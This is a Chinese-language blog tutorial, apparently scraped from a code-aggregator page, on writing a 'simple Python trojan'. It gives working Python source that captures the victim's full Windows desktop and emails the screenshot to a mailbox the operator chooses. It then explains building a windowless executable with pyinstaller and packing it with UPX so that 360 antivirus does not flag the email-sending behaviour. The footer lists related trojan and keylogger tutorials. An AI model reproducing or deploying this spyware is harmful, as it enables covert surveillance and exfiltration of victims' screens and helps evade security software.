python简易木马编写

功能为对用户机器进行截图,并将截图结果发送至程序指定邮箱。

系统由两个功能组成:获取屏幕截图和发送邮件到邮箱。

源码如下:

# -*- coding: utf-8 -*-
import win32gui
import win32ui
import win32con
import win32api
import os,os.path
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib

def sendFile(FilePos):
    msg = MIMEMultipart()
    To = 'XXXXX'(接受邮箱的地址,如[email protected])
    From = 'XXXXX'(发送邮箱的地址,如[email protected])
    FromPWD = 'XXXXX'(发送邮箱的密码)
    SmtpSrv = 'XXXXXX'(邮箱服务器,如stmp.qq.com)

    att = MIMEText(open(FilePos, 'rb').read(), 'base64', 'gb2312')
    att["Content-Type"] = 'application/octet-stream'
    att["Content-Disposition"] = 'attachment; filename='+FilePos
    msg.attach(att)

    msg['to'] = To
    msg['from'] = From
    msg['subject'] = 'test'
    try:
        print 'try to send'
        server = smtplib.SMTP()
        server.connect(SmtpSrv)
        server.login(From,FromPWD)
        server.sendmail(msg['from'], msg['to'],msg.as_string())
        server.quit()
        print 'send success'
    except Exception, e:
        print str(e)

# 获取桌面
hdesktop = win32gui.GetDesktopWindow()

# 分辨率适应
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)

# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)

# 创建一个内存设备描述表
mem_dc = img_dc.CreateCompatibleDC()

# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)

# 截图至内存设备描述表
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)

# 将截图保存到文件中
screenshot.SaveBitmapFile(mem_dc, 'screenshot.bmp')

# 内存释放
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())

sendFile('screenshot.bmp')

收发邮箱的地址可均填为自己的QQ邮件,密码为QQ邮箱密码。服务器为qq的stmp服务器

其中sendFile函数功能为向用户指定的邮箱发送有附件的邮件,其中附件为输入参数FilePos所在的位置。本系统中FilePos为screenshot.bmp,即发送邮件中的附件为当前目录下的screenshot.bmp。

从代码中可看出系统首先通过windows提供的API获取截图,并将截图保存至当前目录,命名为screenshot.bmp,之后通过sendFile函数将其发送出去。

代码写完以后通过pyinstaller将py文件打包为.exe文件。具体使用方法见:

http://outofmemory.cn/code-snippet/2041/usage-pyinstaller-dabao-python-exe-file

参数选择建议为:

python pyinstaller.py -F -w PythonFileName.py

其中PythonFileName.py为编写的python文件。

此外,执行exe文件时会被360检测到程序有发送邮件的动作,可通过加壳避免。

加壳软件推荐使用UPX Shell:

这样360就不会检测到了。

 

参考链接:

http://drops.wooyun.org/papers/4751

http://www.cnblogs.com/xiaowuyi/archive/2012/03/17/2404015.html

http://outofmemory.cn/code-snippet/2041/usage-pyinstaller-dabao-python-exe-file

时间: 2024-07-29 11:31:19

python简易木马编写的相关文章

python简易木马(一)

参考链接: Python编写简易木马程序 参考这个博客来写的 一些具体的问题: 1.配置pyHook模块.ctypes模块,需要这两个木块才能运行成功. 2.将三个模块结合起来要分清client为发送方server为接收方. 结合起来:发送方(被监控者) # -*- coding:gb2312 -*- from ctypes import* import pythoncom import pyHook import win32clipboard import socket import thre

Python编写简易木马程序(转载乌云)

Python编写简易木马程序 light · 2015/01/26 10:07 0x00 准备 文章内容仅供学习研究.切勿用于非法用途! 这次我们使用Python编写一个具有键盘记录.截屏以及通信功能的简易木马.依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码,安装配置JEDI插件可以参照这里: /tips/?id=4413 首先准备好我们需要的依赖库,python hook和pythoncom. 下载安装python hook 下载安装pythoncom模块:

用python + hadoop streaming 编写分布式程序(二) -- 在集群上运行与监控

写在前面 前文:用python + hadoop streaming 编写分布式程序(一) -- 原理介绍,样例程序与本地调试 为了方便,这篇文章里的例子均为伪分布式运行,一般来说只要集群配置得当,在伪分布式下能够运行的程序,在真实集群上也不会有什么问题. 为了更好地模拟集群环境,我们可以在mapred-site.xml中增设reducer和mapper的最大数目(默认为2,实际可用数目大约是CPU核数-1). 假设你为Hadoop安装路径添加的环境变量叫$HADOOP_HOME(如果是$HAD

Python学习(三):入门篇:Python中怎么编写类

Python中怎么编写类 Last Edit 2013/5/2 先看一个例子: #person.py class person: """class to representaion a person""" def __init__(self,name,age): self.name=name if 0<age<=150: self.age=age else: print 'age is no valid!' def display(s

用python + hadoop streaming 编写分布式程序(三) -- 自定义功能

又是期末又是实训TA的事耽搁了好久……先把写好的放上博客吧 前文: 用python + hadoop streaming 编写分布式程序(一) -- 原理介绍,样例程序与本地调试 用python + hadoop streaming 编写分布式程序(二) -- 在集群上运行与监控 使用额外的文件 假如你跑的job除了输入以外还需要一些额外的文件(side data),有两种选择: 大文件 所谓的大文件就是大小大于设置的local.cache.size的文件,默认是10GB.这个时候可以用-fil

Python使用TCPServer编写(多线程)Socket服务

SocketServer包对socket包进行了包装(封装),使得创建socket服务非常简单. TCPServer+BaseRequestHandler 使用TCPServer和BaseRequestHandler编写socket服务的样例. #-*- coding:utf-8 -*- from SocketServer import TCPServer, BaseRequestHandler import traceback class MyBaseRequestHandlerr(BaseR

Python网络编程02----基于UDP的Python简易服务器

UDP 服务器不是面向连接的,所以不用像 TCP 服务器那样做那么多设置工作.事实上,并不用设置什么东西,直接等待进来的连接就好了. ss = socket() # 创建一个服务器套接字 ss.bind() # 绑定服务器套接字 inf_loop: # 服务器无限循环 cs = ss.recvfrom()/ss.sendto() # 对话(接收与发送) ss.close() # 关闭服务器套接字 服务器端: from socket import * from time import ctime

调用百度ocr的API,python简易版本

调用百度ocr的API,python简易版本 https://www.jianshu.com/p/e10dc43c38d0 1. 注册 百度云注册账号 https://cloud.baidu.com/?from=console 管理应用 https://console.bce.baidu.com/ai/#/ai/ocr/overview/index 创建一个 图1登陆之后的界面 进入链接之后创建应用,由于是从文字识别点进去的,所以默认选中的就是ocr相关内容,填好表格确认. 图2 创建应用之后的

Python网络编程——编写一个简单的回显客户端/服务器应用

今天将python中socket模块的基本API学习完后,照着书上的实例编写一个套接字服务器和客户端.采用python3.5版本,在注释中会标明python2和python3的不同之处. 1.代码 (1)服务器端及对应代码解释 1 # ! /usr/bin/env python 2 # -*- coding: utf-8 -*- 3 # 编写回显服务器 4 5 import socket 6 import sys 7 import argparse 8 9 # 定义常量 10 host = 'l